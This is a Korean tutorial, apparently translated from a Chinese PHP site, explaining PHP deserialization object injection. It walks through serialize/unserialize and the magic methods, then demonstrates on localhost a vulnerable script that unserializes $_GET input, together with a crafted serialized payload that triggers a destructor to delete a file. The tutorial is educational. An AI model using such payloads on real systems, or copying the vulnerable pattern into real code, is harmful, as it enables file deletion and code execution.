PHP 개체 주입은 매우 일반적인 취약점입니다. 이러한 유형의 취약점은 악용하기가 다소 어렵지만 여전히 매우 위험합니다. 이 기사는 주로 PHP의 역직렬화 객체 주입 취약점에 대한 자세한 설명을 공유합니다. 이것이 도움이 되기를 바랍니다.
serialize는 객체를 저장하는 데 사용할 수 있는 문자열 형식으로 변환합니다.
unserialize는 직렬화된 문자열을 객체로 변환합니다.
PHP 클래스에는 매직 함수, 매직 함수 이름이라는 특수 함수가 포함될 수 있습니다. __construct, __destruct, __toString, __sleep, __wakeup 등과 같은 __ 기호로 시작합니다.
__construct가 호출되고 객체가 삭제될 때
__destruct가 호출되고 객체가 문자열로 사용될 때
__toString이 호출되는 등 특정 상황에서 자동으로 호출됩니다.
<?php class TestClass { public $variable = 'This is a string'; public function PrintVariable() { echo $this->variable . '<br />'; } public function __construct() { echo '__construct <br />'; } public function __destruct() { echo '__destruct <br />'; } public function __toString() { return '__toString<br />'; } } $object = new TestClass(); $object->PrintVariable(); echo $object; ?>php를 사용하면 나중에 재사용할 수 있도록 개체를 저장할 수 있으며 이 프로세스를 직렬화라고 합니다. 직렬화 메커니즘이 있는 이유는 무엇인가요?
변수를 전달하는 과정에서 스크립트 파일 간에 변수 값을 전달하는 과정을 접할 수 있습니다. 상상해 보십시오. 스크립트에서 이전 스크립트의 변수를 호출하려고 하는데 이전 스크립트가 실행되고 모든 변수와 내용이 해제된 경우 어떻게 해야 합니까? 계속해서 반복하고 기다리려면 이전 스크립트가 필요합니까? 다음은? 스크립트 호출인가요? 이것은 확실히 비현실적입니다.
__sleep 매직 메서드는 객체가 직렬화될 때 호출됩니다.
__wakeup 매직 메서드는 객체가 역직렬화될 때 호출됩니다.
<?phpclass User { public $age = 0; public $name = ''; public function Printx() { echo $this->name.' is '.$this->age.' years old.<br/>'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('name', 'age'); } }$usr = new User(); $usr->age = 20; $usr->name = 'John'; $usr->Printx(); echo serialize($usr);echo '<br/>'; $str = 'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'; $user2 = unserialize($str);$user2->Printx();?>이제 직렬화가 어떻게 작동하는지 이해했습니다. 그런데 이를 어떻게 활용할까요?
애플리케이션, 사용 가능한 클래스 및 마법 기능에 따라 여러 가지 가능한 방법이 있습니다.
웹 애플리케이션 소스 코드에서 __wakeup 또는 __destruct를 정의하는 클래스를 찾을 수 있습니다. 이러한 함수는 웹 애플리케이션에 영향을 미칩니다.
<?php //log.php class LogFile { // log文件名 public $filename = 'error.log'; // 储存日志文件 public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // 删除日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>test.php 이것이 사용자를 위한 PHP라고 가정합니다.
<?php //test.php include 'logfile.php'; // ... 一些使用LogFile类的代码... // 简单的类定义 class User { // 类数据 public $age = 0; public $name = ''; // 输出数据 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 重建用户输入的数据 $usr = unserialize($_GET['usr_serialized']); ?>123.php
<?php //123.php include 'logfile.php'; $obj = new LogFile(); $obj->filename = '1.php'; echo serialize($obj) . '<br />'; ?>1.php로 시작:
http://127.0.0.1/ test.php? usr_serialized=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%221.php%22;}결과는 릴리스 프로세스 중에 구문 분석됩니다. 객체에 대해 log.php의 __destruct() 함수가 호출되어 1.php 파일이 삭제되었습니다. 사용 요약변수를 제어할 수 있고 직렬화되지 않은 작업이 수행되어 코드 실행이나 기타 사기적인 동작을 수행하는 직렬화된 개체를 삽입합니다. __wakeup 및 __destruct는 제쳐두고 이러한 유형의 취약점을 악용할 수 있는 몇 가지 매우 일반적인 주입 지점이 있으며 모든 것은 프로그램 논리에 따라 다릅니다.
예를 들어 사용자 클래스는 애플리케이션이 클래스를 문자열(echo $obj)로 출력할 수 있도록 __toString을 정의하고, 다른 클래스도 __toString이 특정 파일을 읽을 수 있도록 클래스를 정의할 수 있습니다.
다른 마법 함수도 사용할 수 있습니다.
객체가 존재하지 않는 함수를 호출하면 __call이 호출됩니다.
객체가 존재하지 않는 클래스 변수에 액세스하려고 하면 __get 및 __set이 호출됩니다.
json 직렬화 및 역직렬화 함수의 JavaScript 구현 예
위 내용은 역직렬화 객체 주입 취약점에 대한 PHP의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!